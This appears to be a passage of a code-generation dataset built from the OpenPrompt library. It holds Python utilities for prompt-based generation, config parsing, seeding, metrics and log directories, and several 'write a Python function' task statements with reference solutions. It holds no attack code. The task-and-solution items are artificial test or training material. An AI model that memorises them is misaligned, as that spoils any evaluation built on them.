(:obj:`Union[Dict, InputFeatures]`): The input features of batchified data sequences. verbose (:obj:`Optional[bool]`): Set to true to verbose the generated sentence. Returns: output_sequences (:obj:`List[torch.Tensor]`): The raw sequences generated by the generation model. generated_sentences (:obj:`List[torch.Tensor]`): The generated sentences that have been post-processed. """ input_generation_kwargs = generation_kwargs if self.config.is_encoder_decoder: loss_ids_start = batch['loss_ids'].argmax(dim=-1) assert loss_ids_start.min() == loss_ids_start.max(), "The generation start from different position in a batch." batch['decoder_input_ids'] = batch['decoder_input_ids'][:, :loss_ids_start.min()+1] input_length = batch['decoder_input_ids'].size(1) batch_size = batch['decoder_input_ids'].size(0) self.generate_ith_token = 0 self.in_generation_function = True output_sequences = super().generate(**batch, **input_generation_kwargs, pad_token_id=self.tokenizer.pad_token_id, eos_token_id=self.tokenizer.eos_token_id) self.in_generation_function = False output_sequences = output_sequences.cpu().tolist() generated_sentences = self.post_processing(output_sequences=output_sequences, input_lengths=input_length) else: input_length = batch['input_ids'].size(1) batch_size = batch['input_ids'].size(0) # Currently huggingface transformers only support single sample generation, or padding to the left (instead of the right). # because it will only extract the last position of the output # generate one_by_one if 'input_ids_len' in batch: input_real_lens = batch['input_ids_len'] else: input_real_lens = torch.sum((batch['input_ids'] != self.tokenizer.pad_token_id).to(torch.int), dim=-1) output_sequences = [] for instance_id in range(batch_size): # remove the pad token instance = {key: batch[key][instance_id:instance_id+1][:,:input_real_lens[instance_id]] for key in batch if isinstance(batch[key], torch.Tensor) and batch[key].shape[:2]==torch.Size([batch_size, input_length])} self.generate_ith_token = 0 self.in_generation_function = True output_sequence = super().generate(**instance, **input_generation_kwargs, pad_token_id=self.tokenizer.pad_token_id, eos_token_id=self.tokenizer.eos_token_id) self.in_generation_function = False output_sequences.extend(output_sequence.cpu().tolist()) # TODO: to support generate multiple sentence generated_sentences = self.post_processing(output_sequences=output_sequences, input_lengths=input_real_lens.cpu().tolist()) if verbose: logger.info(f"Generated:{generated_sentences}") return output_sequences, generated_sentences def post_processing(self, output_sequences, input_lengths): r""" Post-process the sequences generated by the generation model. Args: output_sequences (:obj:`torch.Tensor`): The raw sequences generated by the generation model. input_lengths (:obj:`int` or `list`): The length(s) of the input sequence. Returns: :obj:`List`: The generated sentences that have been post-processed. """ generated_sentences = [] if type(input_lengths)==int: input_lengths = [input_lengths] * len(output_sequences) for sent_id, seq in enumerate(output_sequences): seq = seq[input_lengths[sent_id]:] if hasattr(self.tokenizer, "eos_token") and self.tokenizer.eos_token is not None: text_output = self.tokenizer.decode(seq, clean_up_tokenization_spaces=True, skip_special_tokens=False) idx = text_output.find(self.tokenizer.eos_token) if idx >= 0: text_output = text_output[:idx] else: text_output = self.tokenizer.decode(seq, clean_up_tokenization_spaces=True, skip_special_tokens=True) text_output = text_output.strip() generated_sentences.append(text_output) return generated_sentences def prepare_inputs_for_generation(self, input_ids: Optional[torch.Tensor] = None, **model_kwargs): r"""This function wraps the ``prepare_inputs_for_generation`` function in the huggingface transformers. When the `past` not in model_kwargs, we prepare the input from scratch. When `past` is in model_kwargs, we don't need to prepare the template wrapped input, instead we use the inner pretrain_models' function to prepare the next step's input. `model_kwargs` includes all the argument passed in the `batch`: InputFeatures, except ``input_ids`` , as long as they do not conflict with keywords in ``generation_kwargs``. if 'past' not in model_kwargs: # the past_key_value not in model_kwargs, then we need to prepare input from scrath , as long as they do not conflict with keywords in ``generation_kwargs``. Args: input_ids(:obj:`torch.Tensor`): Indices of input sequence tokens in the vocabulary. """ if self.generate_ith_token == 0 and 'encoder_outputs' not in model_kwargs: # generating the first token in decoder only setting. batch = InputFeatures(input_ids=input_ids, **model_kwargs) model_inputs = self.prompt_model.prepare_model_inputs(batch) # check the compatibility for more models. Having checked gpt2, T5 else: # generating the subsequence generation can use the default setting model_inputs = self.plm.prepare_inputs_for_generation(input_ids, **model_kwargs) self.last_model_inputs = model_inputs # to update the model_kwargs in _update_model_kwargs_for_generation, in-place operation. return model_inputs def _update_model_kwargs_for_generation(self, outputs, model_kwargs: Dict[str, Any], is_encoder_decoder: bool = False ) -> Dict[str, Any]: r""" The parents class's ``_update_model_kwargs_for_generation`` method will add ``past_key_values`` to model_kwargs, and update ``token_type_ids``, and ``attention_mask_ids``. In case some of the model_kwargs are modified in the prepare_inputs_for_generation function and should be used as the subsequent model_kwargs, we update these kwargs before the parent class call. Other updates should be added here after the parent's function call. Args: outputs (:obj:`torch.Tensor`): is_encoder_decoder (:obj:`bool`, defaults to False): """ if self.generate_ith_token == 0: for key in self.last_model_inputs: if key in model_kwargs: model_kwargs[key] = self.last_model_inputs[key] model_kwargs = super()._update_model_kwargs_for_generation(outputs=outputs, model_kwargs=model_kwargs, is_encoder_decoder=is_encoder_decoder) self.generate_ith_token += 1 return model_kwargs def _prepare_encoder_decoder_kwargs_for_generation( self, input_ids: torch.LongTensor, model_kwargs, model_input_name: Optional[str] = None, ) -> Dict[str, Any]: r""" This function resemble the function in GeneraionMix Args: input_ids (:obj:`torch.LongTensor`) The input ids for """ if "encoder_outputs" not in model_kwargs: # retrieve encoder hidden states encoder = self.plm.get_encoder() encoder_kwargs = { argument: value for argument, value in model_kwargs.items() if not (argument.startswith("decoder_") or argument.startswith("cross_attn") or argument.startswith("use_cache")) } model_input_name = model_input_name if model_input_name is not None else self.main_input_name batch = {model_input_name:input_ids, **encoder_kwargs} model_inputs = self.prompt_model.prepare_model_inputs(batch) # This line differs from the orinigal code base, we should process the input # with our template, then pass it into the model. # some of the arguments may have been changed by the template, # e.g. the attention mask. Here we update the model_kwargs for key in model_kwargs: if key in model_inputs: model_kwargs[key] = model_inputs[key] model_kwargs["encoder_outputs"] = encoder(return_dict=True, **model_inputs) return model_kwargs ## We comment this code since it conflict with [OpenDelta](https://github.com/thunlp/OpenDelta) # def state_dict(self, *args, **kwargs): # """ Save the model using template and plm's save methods. """ # _state_dict = {} # if not self.prompt_model.freeze_plm: # _state_dict['plm'] = self.plm.state_dict(*args, **kwargs) # _state_dict['template'] = self.template.state_dict(*args, **kwargs) # return _state_dict # def load_state_dict(self, state_dict, *args, **kwargs): # """ Load the model using template and plm's load methods. """ # if 'plm' in state_dict and not self.prompt_model.freeze_plm: # self.plm.load_state_dict(state_dict['plm'], *args, **kwargs) # self.template.load_state_dict(state_dict['template'], *args, **kwargs) def _reorder_cache(self, past, beam_idx): r"""Use the plm's default _reorder_cache function """ return self.plm._reorder_cache(past, beam_idx) def parallelize(self, device_map=None): r"""Parallelize the model across device """ if hasattr(self.plm, "parallelize"): self.plm.parallelize(device_map) self.device_map = self.plm.device_map else: raise NotImplementedError("parallelize method was not implemented for this plm.") def deparallelize(self): r"""Deparallelize the model across device """ if hasattr(self.plm, "deparallelize"): self.plm.deparallelize() self.device_map = None else: raise NotImplementedError("parallelize method was not implemented for this plm.") def set_seed(seed:Optional[int] = None): """set seed for reproducibility Args: seed (:obj:`int`): the seed to seed everything for reproducibility. if None, do nothing. """ if seed: random.seed(seed) np.random.seed(seed) torch.manual_seed(seed) torch.cuda.manual_seed_all(seed) logger.info(f"Global seed set to {seed}") def load_template(config: CfgNode, **kwargs, ): r""" Args: config: (:obj:`CfgNode`) The global configure file. kwargs: kwargs might include: plm_model: Optional[PreTrainedModel], plm_tokenizer: Optional[PreTrainedTokenizer], plm_config: Optional[PreTrainedConfig] Returns: A template """ if config.template is not None: template_class = TEMPLATE_CLASS[config.template] template = template_class.from_config(config=config[config.template], **kwargs) return template def load_verbalizer(config: CfgNode, **kwargs, ): r""" Args: config: (;obj:`CfgNode`) The global configure file. kwargs: kwargs might include: plm_model: Optional[PreTrainedModel], plm_tokenizer: Optional[PreTrainedTokenizer], plm_config: Optional[PreTrainedConfig] Returns: A template """ if config.verbalizer is not None: verbalizer_class = VERBALIZER_CLASS[config.verbalizer] verbalizer = verbalizer_class.from_config(config=config[config.verbalizer], **kwargs) return verbalizer def load_plm_from_config(config: CfgNode): r"""A plm loader using a global config. It will load the model, tokenizer, and config simulatenously. Args: config (:obj:`CfgNode`): The global config from the CfgNode. Returns: :obj:`PreTrainedModel`: The pretrained model. :obj:`tokenizer`: The pretrained tokenizer. :obj:`model_config`: The config of the pretrained model. :obj:`model_config`: The wrapper class of this plm. """ plm_config = config.plm model_class = get_model_class(plm_type = plm_config.model_name) model_config = model_class.config.from_pretrained(plm_config.model_path) # you can change huggingface model_config here # if 't5' in plm_config.model_name: # remove dropout according to PPT~\ref{} # model_config.dropout_rate = 0.0 if 'gpt' in plm_config.model_name: # add pad token for gpt if "<pad>" not in config.plm.specials_to_add: config.plm.specials_to_add.append("<pad>") model = model_class.model.from_pretrained(plm_config.model_path, config=model_config) tokenizer = model_class.tokenizer.from_pretrained(plm_config.model_path) wrapper = model_class.wrapper model, tokenizer = add_special_tokens(model, tokenizer, specials_to_add=config.plm.specials_to_add) return model, tokenizer, model_config, wrapper def trainer(EXP_PATH, config, Processor, train_dataset = None, valid_dataset = None, test_dataset = None, resume = None, test = None, zero = False): if not os.path.exists(EXP_PATH): os.mkdir(EXP_PATH) config.logging.path = EXP_PATH # set seed set_seed(config.reproduce.seed) # load the pretrained models, its model, tokenizer, and config. plm_model, plm_tokenizer, plm_config, plm_wrapper_class = load_plm_from_config(config) # define template and verbalizer if config.task == "classification": # define prompt template = load_template(config=config, model=plm_model, tokenizer=plm_tokenizer, plm_config=plm_config) verbalizer = load_verbalizer(config=config, model=plm_model, tokenizer=plm_tokenizer, plm_config=plm_config, classes=Processor.labels) # load prompt’s pipeline model prompt_model = PromptForClassification(plm_model, template, verbalizer, freeze_plm = config.plm.optimize.freeze_para) elif config.task == "generation": template = load_template(config=config, model=plm_model, tokenizer=plm_tokenizer, plm_config=plm_config) prompt_model = PromptForGeneration(plm_model, template, freeze_plm = config.plm.optimize.freeze_para, gen_config = config.generation) else: raise NotImplementedError(f"config.task {config.task} is not implemented yet. Only classification and generation are supported.") # process data and get data_loader train_dataloader = build_dataloader(train_dataset, template, plm_tokenizer, plm_wrapper_class, config, "train") if train_dataset else None valid_dataloader = build_dataloader(valid_dataset, template, plm_tokenizer, plm_wrapper_class, config, "dev") if valid_dataset else None test_dataloader = build_dataloader(test_dataset, template, plm_tokenizer, plm_wrapper_class, config, "test") if test_dataset else None if config.task == "classification": if config.classification.auto_t or config.classification.auto_v: runner = LMBFFClassificationRunner(train_dataset = train_dataset, valid_dataset = valid_dataset, test_dataset = test_dataset, template=template, verbalizer=verbalizer, config = config ) elif config.verbalizer == "proto_verbalizer": runner = ProtoVerbClassificationRunner(model = prompt_model, train_dataloader = train_dataloader, valid_dataloader = valid_dataloader, test_dataloader = test_dataloader, id2label = Processor.id2label, config = config ) else: runner = ClassificationRunner(model = prompt_model, train_dataloader = train_dataloader, valid_dataloader = valid_dataloader, test_dataloader = test_dataloader, id2label = Processor.id2label, config = config ) elif config.task == "generation": runner = GenerationRunner( model = prompt_model, train_dataloader = train_dataloader, valid_dataloader = valid_dataloader, test_dataloader = test_dataloader, config = config ) if zero: res = runner.test() elif test: res = runner.test(ckpt = 'best') elif resume: res = runner.run(ckpt = 'last') else: res = runner.run() return res
null
17,345
from typing import * from tqdm import tqdm from collections import defaultdict import warnings import numpy as np from paddlenlp.data import Stack, Tuple, Pad import paddle from utils import signature from data_utils import InputFeatures def create_dataloader(dataset_origin, mode='train', batch_size=1, batchify_fn=None, trans_fn=None): if trans_fn: dataset = dataset_origin.map(trans_fn) else: dataset = dataset_origin shuffle = True if mode == 'train' else False if mode == 'train': batch_sampler = paddle.io.DistributedBatchSampler(dataset, batch_size=batch_size, shuffle=shuffle) else: batch_sampler = paddle.io.BatchSampler(dataset, batch_size=batch_size, shuffle=shuffle) return paddle.io.DataLoader(dataset=dataset, batch_sampler=batch_sampler, collate_fn=batchify_fn, return_list=True)
null
17,346
import itertools import warnings from typing import Union, List, Tuple, Dict, Optional from collections import defaultdict import numpy as np import inspect from collections import namedtuple from math import ceil The provided code snippet includes necessary dependencies for implementing the `signature` function. Write a Python function `def signature(f)` to solve the following problem: r"""Get the function f 's input arguments. A useful gadget when some function slot might be instantiated into multiple functions. Args: f (:obj:`function`) : the function to get the input arguments. Returns: namedtuple : of args, default, varargs, keywords, respectively.s Here is the function: def signature(f): r"""Get the function f 's input arguments. A useful gadget when some function slot might be instantiated into multiple functions. Args: f (:obj:`function`) : the function to get the input arguments. Returns: namedtuple : of args, default, varargs, keywords, respectively.s """ sig = inspect.signature(f) args = [ p.name for p in sig.parameters.values() if p.kind == inspect.Parameter.POSITIONAL_OR_KEYWORD ] varargs = [ p.name for p in sig.parameters.values() if p.kind == inspect.Parameter.VAR_POSITIONAL ] varargs = varargs[0] if varargs else None keywords = [ p.name for p in sig.parameters.values() if p.kind == inspect.Parameter.VAR_KEYWORD ] keywords = keywords[0] if keywords else None defaults = [ p.default for p in sig.parameters.values() if p.kind == inspect.Parameter.POSITIONAL_OR_KEYWORD and p.default is not p.empty ] or None argspec = namedtuple('Signature', ['args', 'defaults', 'varargs', 'keywords']) return argspec(args, defaults, varargs, keywords)
r"""Get the function f 's input arguments. A useful gadget when some function slot might be instantiated into multiple functions. Args: f (:obj:`function`) : the function to get the input arguments. Returns: namedtuple : of args, default, varargs, keywords, respectively.s
17,347
import itertools import warnings from typing import Union, List, Tuple, Dict, Optional from collections import defaultdict import numpy as np import inspect from collections import namedtuple from math import ceil The provided code snippet includes necessary dependencies for implementing the `round_list` function. Write a Python function `def round_list(l: List[float], max_sum:int)` to solve the following problem: r"""round a list of float e.g. [0.2,1.5, 4.5] to [1,2,4] # ceil and restrict the sum to `max_sum` used into balanced truncate. Here is the function: def round_list(l: List[float], max_sum:int): r"""round a list of float e.g. [0.2,1.5, 4.5] to [1,2,4] # ceil and restrict the sum to `max_sum` used into balanced truncate. """ s = 0 for idx, i in enumerate(l): i = ceil(i) if s <= max_sum: s += i if s <= max_sum: l[idx] = i else: l[idx] = i - (s - max_sum) else: l[idx] = int(0) assert sum(l) == max_sum
r"""round a list of float e.g. [0.2,1.5, 4.5] to [1,2,4] # ceil and restrict the sum to `max_sum` used into balanced truncate.
17,348
import argparse import torch from openprompt import plms from openprompt.plms import * from transformers import GPTJConfig, GPTJModel, GPTJForCausalLM, GPT2Tokenizer from openprompt.plms import load_plm from openprompt.prompts import MixedTemplate from openprompt.data_utils.conditional_generation_dataset import UltraChatProcessor from transformers import AdamW from openprompt import PromptDataLoader from openprompt import PromptForGeneration from transformers.optimization import get_linear_schedule_with_warmup from accelerate import Accelerator from torchmetrics import MeanMetric from sklearn.model_selection import train_test_split from tqdm import tqdm from accelerate.utils import set_seed def format_metrics(metrics, split, prefix=""): log = f"[{split}]" + prefix log += " ".join([f"{key}: {value:.4f}" for key, value in metrics.items()]) return log def evaluate(args, model, val_dataloader, accelerator): model.eval() val_loss = MeanMetric().to(model.device) with torch.no_grad(): for i, batch in enumerate( tqdm(val_dataloader), ): loss = model(batch["input_ids"]) loss_values = accelerator.gather_for_metrics({"loss": loss.detach()}) val_loss.update(loss_values["loss"]) return val_loss def load_plm(model_name, model_path, specials_to_add = None): r"""A plm loader using a global config. It will load the model, tokenizer, and config simulatenously. Args: config (:obj:`CfgNode`): The global config from the CfgNode. Returns: :obj:`PreTrainedModel`: The pretrained model. :obj:`tokenizer`: The pretrained tokenizer. :obj:`model_config`: The config of the pretrained model. :obj:`wrapper`: The wrapper class of this plm. """ model_class = get_model_class(plm_type = model_name) model_config = model_class.config.from_pretrained(model_path) # you can change huggingface model_config here # if 't5' in model_name: # remove dropout according to PPT~\ref{} # model_config.dropout_rate = 0.0 if 'gpt' in model_name: # add pad token for gpt specials_to_add = ["<pad>"] # model_config.attn_pdrop = 0.0 # model_config.resid_pdrop = 0.0 # model_config.embd_pdrop = 0.0 model = model_class.model.from_pretrained(model_path, config=model_config) tokenizer = model_class.tokenizer.from_pretrained(model_path) wrapper = model_class.wrapper model, tokenizer = add_special_tokens(model, tokenizer, specials_to_add=specials_to_add) if 'opt' in model_name: tokenizer.add_bos_token=False return model, tokenizer, model_config, wrapper class UltraChatProcessor(DataProcessor): def __init__(self): super().__init__() self.labels = None def get_examples(self, data_path: str) -> List[InputExample]: examples = [] j = 0 with open(data_path) as f: for line in tqdm(f.readlines()): if line.strip(): data = json.loads(line) id_ = data["id"] dialogue = data["data"] tags = [i for _ in range(len(dialogue)//2) for i in ["User", "Assistant"]] for i in range(0, len(dialogue), 2): tgt_text = dialogue[i+1] context = dialogue[:i+1] context = zip(tags[:i+1], context) context = [": ".join(item) for item in context] example = InputExample(guid=str(j), text_a="", tgt_text=tgt_text, meta={"context": context}) examples.append(example) j += 1 return examples def get_src_tgt_len_ratio(self,): pass def train(args, accelerator): set_seed(0) accelerator.print(f"Using {accelerator.num_processes} GPUs") plm, tokenizer, model_config, WrapperClass = load_plm(args.model, args.model_name_or_path) mytemplate = MixedTemplate(model=plm, tokenizer=tokenizer).from_file("./scripts/UltraChat/template.txt") with accelerator.main_process_first(): processor = UltraChatProcessor() dataset = processor.get_examples(args.data_file) train_dataset, val_dataset = train_test_split(dataset, test_size=0.2, random_state=0) # wrapped_example = mytemplate.wrap_one_example(dataset[1]) # print(wrapped_example) train_dataloader = PromptDataLoader(dataset=train_dataset, template=mytemplate, tokenizer=tokenizer, tokenizer_wrapper_class=WrapperClass, max_seq_length=1024, decoder_max_length=1024, batch_size=2,shuffle=True, teacher_forcing=True, predict_eos_token=True, # be sure to pass predict_eos_token=True if your template doesn't contain one, or you model may fail to stop generation. truncate_method="head").dataloader val_dataloader = PromptDataLoader(dataset=val_dataset, template=mytemplate, tokenizer=tokenizer, tokenizer_wrapper_class=WrapperClass, max_seq_length=1024, decoder_max_length=1024, batch_size=5,shuffle=False, teacher_forcing=True, predict_eos_token=True, # be sure to pass predict_eos_token=True if your template doesn't contain one, or you model may fail to stop generation. truncate_method="head").dataloader # load the pipeline model PromptForGeneration. prompt_model = PromptForGeneration(plm=plm, template=mytemplate, tokenizer=tokenizer) device = accelerator.device prompt_model.to(device) optimizer = AdamW([p for p in prompt_model.parameters()if p.requires_grad], lr=args.lr, eps=1e-8) scheduler = get_linear_schedule_with_warmup(optimizer, num_warmup_steps=200, num_training_steps=len(train_dataloader)*args.epochs) prompt_model, optimizer, train_dataloader, val_dataloader, scheduler = accelerator.prepare(prompt_model, optimizer, train_dataloader, val_dataloader, scheduler) accelerator.register_for_checkpointing(scheduler) train_loss = MeanMetric().to(prompt_model.device) # training and generation. global_step = 0 for epoch in range(args.epochs): for step, inputs in tqdm(enumerate(train_dataloader)): prompt_model.train() loss = prompt_model(inputs["input_ids"]) accelerator.backward(loss) optimizer.step() scheduler.step() optimizer.zero_grad() loss_values = accelerator.gather_for_metrics({"loss": loss.detach()}) train_loss.update(loss_values["loss"]) global_step +=1 if global_step %50 ==0: accelerator.save_state(f"ultrachat_{args.model}/step_{global_step}") val_loss = evaluate(args, prompt_model, val_dataloader, accelerator) log_train = { "train_loss": train_loss.compute() } log_val = { "val_loss": val_loss.compute() } accelerator.print(f"Current LR: {scheduler.get_last_lr()[0]}") accelerator.print(format_metrics(log_train, "train", f" step {global_step} ")) accelerator.print(format_metrics(log_val, "val", f" step {global_step} ")) train_loss.reset() accelerator.wait_for_everyone() if accelerator.is_main_process: torch.save(accelerator.get_state_dict(prompt_model), f"ultrachat_{args.model}/final")
null
17,349
import argparse from yacs.config import CfgNode import sys from openprompt.utils.utils import check_config_conflicts from .default_config import get_default_config from openprompt.utils.logging import logger import os _VALID_TYPES = {tuple, list, str, int, float, bool, type(None)} The provided code snippet includes necessary dependencies for implementing the `convert_cfg_to_dict` function. Write a Python function `def convert_cfg_to_dict(cfg_node, key_list=[])` to solve the following problem: Convert a config node to dictionary Here is the function: def convert_cfg_to_dict(cfg_node, key_list=[]): """ Convert a config node to dictionary """ if not isinstance(cfg_node, CfgNode): if type(cfg_node) not in _VALID_TYPES: print("Key {} with value {} is not a valid type; valid types: {}".format( ".".join(key_list), type(cfg_node), _VALID_TYPES), ) return cfg_node else: cfg_dict = dict(cfg_node) for k, v in cfg_dict.items(): cfg_dict[k] = convert_cfg_to_dict(v, key_list + [k]) return cfg_dict
Convert a config node to dictionary
17,350
import argparse from yacs.config import CfgNode import sys from openprompt.utils.utils import check_config_conflicts from .default_config import get_default_config from openprompt.utils.logging import logger import os logger = logging.getLogger() def save_config_to_yaml(config): from contextlib import redirect_stdout saved_yaml_path = os.path.join(config.logging.path, "config.yaml") with open(saved_yaml_path, 'w') as f: with redirect_stdout(f): print(config.dump()) logger.info("Config saved as {}".format(saved_yaml_path))
null
17,351
import argparse from yacs.config import CfgNode import sys from openprompt.utils.utils import check_config_conflicts from .default_config import get_default_config from openprompt.utils.logging import logger import os def get_user_config(usr_config_path, default_config=None): if default_config is None: config = get_default_config() else: config = default_config # get user config usr_config = get_config_from_file(usr_config_path) config.merge_from_other_cfg(usr_config) config = get_conditional_config(config) return config def add_cfg_to_argparser(cfg, parser, prefix=None): r"""To support argument parser style in addition to yaml style """ for key in cfg: value = cfg[key] full_key_name = prefix+"."+key if prefix is not None else key if isinstance(value, CfgNode): add_cfg_to_argparser(value, parser=parser, prefix=full_key_name) else: if type(value) in [str, int, float]: parser.add_argument("--"+full_key_name, type=type(value), default=value) elif type(value) in [tuple, list]: parser.add_argument("--"+full_key_name, type=type(value), default=value, nargs="+") elif type(value) == bool: parser.add_argument("--"+full_key_name, action='store_{}'.format(not value).lower()) elif type(value) == type(None): parser.add_argument("--"+full_key_name, default=None) else: raise NotImplementedError("The type of config value is not supported") def update_cfg_with_argparser(cfg, args, prefix=None): r"""To support update cfg with command line """ for key in cfg: value = cfg[key] full_key_name = prefix+"."+key if prefix is not None else key if isinstance(value, CfgNode): update_cfg_with_argparser(value, args, prefix=full_key_name) else: v = getattr(args, full_key_name) if type(v) != type(value): raise TypeError if v != value: cfg[key] = v print("Update key {}, value {} -> {}".format(full_key_name, value, v)) def check_config_conflicts(config: CfgNode): r"""check the conflicts of global config. """ if config.task == "generation": assert config['train'].teacher_forcing == True, "You should use teacher forcing to train generation!" if config.task == "generation": if config.dataloader.max_seq_length >= config.generation.max_length: logger.warning("In generation, your config.generation.max_length is shorter than config.max_seq_length" "This can lead to unexpected behavior. You should consider increasing ``config.generation.max_length``." ) raise RuntimeError def get_config(): parser = argparse.ArgumentParser("Global Config Argument Parser", allow_abbrev=False) parser.add_argument("--config_yaml", required=True, type=str, help='the configuration file for this experiment.') parser.add_argument("--resume", type=str, help='a specified logging path to resume training.\ It will fall back to run from initialization if no latest checkpoint are found.') parser.add_argument("--test", type=str, help='a specified logging path to test') args, _ = parser.parse_known_args() config = get_user_config(args.config_yaml) add_cfg_to_argparser(config, parser) args = parser.parse_args() update_cfg_with_argparser(config, args) check_config_conflicts(config) # print(config) return config, args
null
17,352
from math import ceil import os import shutil from typing import List import inspect from collections import namedtuple import torch from yacs.config import CfgNode from openprompt.utils.logging import logger The provided code snippet includes necessary dependencies for implementing the `round_list` function. Write a Python function `def round_list(l: List[float], max_sum:int)` to solve the following problem: r"""round a list of float e.g. [0.2,1.5, 4.5] to [1,2,4] # ceil and restrict the sum to `max_sum` used into balanced truncate. Here is the function: def round_list(l: List[float], max_sum:int): r"""round a list of float e.g. [0.2,1.5, 4.5] to [1,2,4] # ceil and restrict the sum to `max_sum` used into balanced truncate. """ s = 0 for idx, i in enumerate(l): i = ceil(i) if s <= max_sum: s += i if s <= max_sum: l[idx] = i else: l[idx] = i - (s - max_sum) else: l[idx] = int(0) assert sum(l) == max_sum
r"""round a list of float e.g. [0.2,1.5, 4.5] to [1,2,4] # ceil and restrict the sum to `max_sum` used into balanced truncate.
17,353
from math import ceil import os import shutil from typing import List import inspect from collections import namedtuple import torch from yacs.config import CfgNode from openprompt.utils.logging import logger The provided code snippet includes necessary dependencies for implementing the `signature` function. Write a Python function `def signature(f)` to solve the following problem: r"""Get the function f 's input arguments. A useful gadget when some function slot might be instantiated into multiple functions. Args: f (:obj:`function`) : the function to get the input arguments. Returns: namedtuple : of args, default, varargs, keywords, respectively.s Here is the function: def signature(f): r"""Get the function f 's input arguments. A useful gadget when some function slot might be instantiated into multiple functions. Args: f (:obj:`function`) : the function to get the input arguments. Returns: namedtuple : of args, default, varargs, keywords, respectively.s """ sig = inspect.signature(f) args = [ p.name for p in sig.parameters.values() if p.kind == inspect.Parameter.POSITIONAL_OR_KEYWORD ] varargs = [ p.name for p in sig.parameters.values() if p.kind == inspect.Parameter.VAR_POSITIONAL ] varargs = varargs[0] if varargs else None keywords = [ p.name for p in sig.parameters.values() if p.kind == inspect.Parameter.VAR_KEYWORD ] keywords = keywords[0] if keywords else None defaults = [ p.default for p in sig.parameters.values() if p.kind == inspect.Parameter.POSITIONAL_OR_KEYWORD and p.default is not p.empty ] or None argspec = namedtuple('Signature', ['args', 'defaults', 'varargs', 'keywords']) return argspec(args, defaults, varargs, keywords)
r"""Get the function f 's input arguments. A useful gadget when some function slot might be instantiated into multiple functions. Args: f (:obj:`function`) : the function to get the input arguments. Returns: namedtuple : of args, default, varargs, keywords, respectively.s
17,354
import numpy as np import string import re from collections import Counter from sklearn.metrics import matthews_corrcoef, f1_score from scipy.stats import pearsonr, spearmanr from rouge import Rouge def get_matthews_corr(data, predictions): # only cola is using this...? new_predictions = [] for prediction in predictions: if prediction.strip() == "acceptable": new_predictions.append(1.0) else: new_predictions.append(0.0) new_gold = [] for dp in data: if dp[0] == "acceptable": new_gold.append(1.0) else: new_gold.append(0.0) return matthews_corrcoef(new_gold, new_predictions) def get_rouge_over_list(prediction, groundtruth): def remove_punc(text): exclude = set(string.punctuation) return ''.join(ch for ch in text if ch not in exclude) if len(remove_punc(prediction)) == 0: return 0.0 # during early stages, it might generate nothing? # print(prediction) rouge = Rouge() if type(groundtruth)==list: if len(groundtruth)==0: return 0 return np.max([rouge.get_scores(prediction, gt, avg=True)["rouge-l"]["f"] for gt in groundtruth]) return rouge.get_scores(prediction, groundtruth, avg=True)["rouge-l"]["f"] def get_accruacy_over_list(prediction, groundtruth, **kwargs): if type(groundtruth)==list: if len(groundtruth)==0: return 0 return np.max([accuracy(prediction, gt, **kwargs) for gt in groundtruth]) return accuracy(prediction, groundtruth) def get_f1_over_list(prediction, groundtruth): if type(groundtruth)==list: if len(groundtruth)==0: return 0 return np.max([qa_f1_score(prediction, gt) for gt in groundtruth]) return qa_f1_score(prediction, groundtruth) def get_exact_match_over_list(prediction, groundtruth): if type(groundtruth)==list: if len(groundtruth)==0: return 0 return np.max([get_exact_match_over_list(prediction, gt) for gt in groundtruth]) return (normalize_answer(prediction) == normalize_answer(groundtruth)) def evaluate(predictions, data, metric, **kwargs): def cast_to_float(predictions): new_predictions = [] for prediction in predictions: try: new_predictions.append(float(prediction.strip())) except: new_predictions.append(float('NaN')) assert len(new_predictions) == len(predictions) return new_predictions assert len(predictions) == len(data) if metric == "EM": ems = [] for (prediction, dp) in zip(predictions, data): ems.append(get_exact_match_over_list(prediction, dp)) return np.mean(ems) elif metric == "ACC": accs = [] for (prediction, dp) in zip(predictions, data): accs.append(get_accruacy_over_list(prediction, dp, **kwargs)) return np.mean(accs) elif metric == "QA-F1": # haven't be tested f1s = [] for (prediction, dp) in zip(predictions, data): f1s.append(get_f1_over_list(prediction, dp)) return np.mean(f1s) elif metric == "Classification-F1": return f1_score([dp for dp in data], predictions, average="macro") elif metric == "Matthew-Correlation": # haven't be tested return get_matthews_corr(data, predictions) elif metric == "Pearson-Correlation": # haven't be tested predictions = cast_to_float(predictions) return pearsonr([float(dp[0]) for dp in data], predictions)[0] elif metric == "Rouge-L": # haven't be tested rouges = [] for (prediction, dp) in zip(predictions, data): rouges.append(get_rouge_over_list(prediction, dp)) return np.mean(rouges)
null
17,355
import logging import os import datetime import logging The provided code snippet includes necessary dependencies for implementing the `config_experiment_dir` function. Write a Python function `def config_experiment_dir(config)` to solve the following problem: r""" Automatic generate log directory for experiments. First generate the unique_string of one experiment, if the user didn't specify one, according to the user-defined keys logging.unique_string_keys. Then create the directory. Here is the function: def config_experiment_dir(config): r""" Automatic generate log directory for experiments. First generate the unique_string of one experiment, if the user didn't specify one, according to the user-defined keys logging.unique_string_keys. Then create the directory. """ if not os.path.exists(config.logging.path_base): raise NotADirectoryError(f"logging base directory `{config.logging.path_base}` not found, you should create one.") # generate unique string temp_strs = [] if config.logging.unique_string is None: for item in config.logging.unique_string_keys: if item == "datetime": continue item = item.split(".") # split into sub items. subconfig = config for key in item: try: subconfig = subconfig[key] except: raise ValueError("The unique string_key is not a config option ") if not isinstance(subconfig, str): try: subconfig = str(subconfig) except: print("The value of subconfig key {} can't be converted to a string".format(".".join(item))) continue subconfig = subconfig.split("/")[-1] temp_strs.append(subconfig) if 'datetime' in config.logging.unique_string_keys: if config.logging.datetime_format is None: config.logging.datetime_format = '%y%m%d%H%M%S' time_str = datetime.datetime.now().strftime(config.logging.datetime_format) temp_strs.append(time_str) config.logging.unique_string = "_".join(temp_strs) config.logging.path = os.path.join(config.logging.path_base, config.logging.unique_string) # create the log directory if os.path.exists(config.logging.path): if config.logging.overwrite: import shutil shutil.rmtree(config.logging.path) os.mkdir(config.logging.path) else: raise FileExistsError("Log dir {} exists and can't overwrite!") else: os.mkdir(config.logging.path) return config.logging.path
r""" Automatic generate log directory for experiments. First generate the unique_string of one experiment, if the user didn't specify one, according to the user-defined keys logging.unique_string_keys. Then create the directory.
17,356
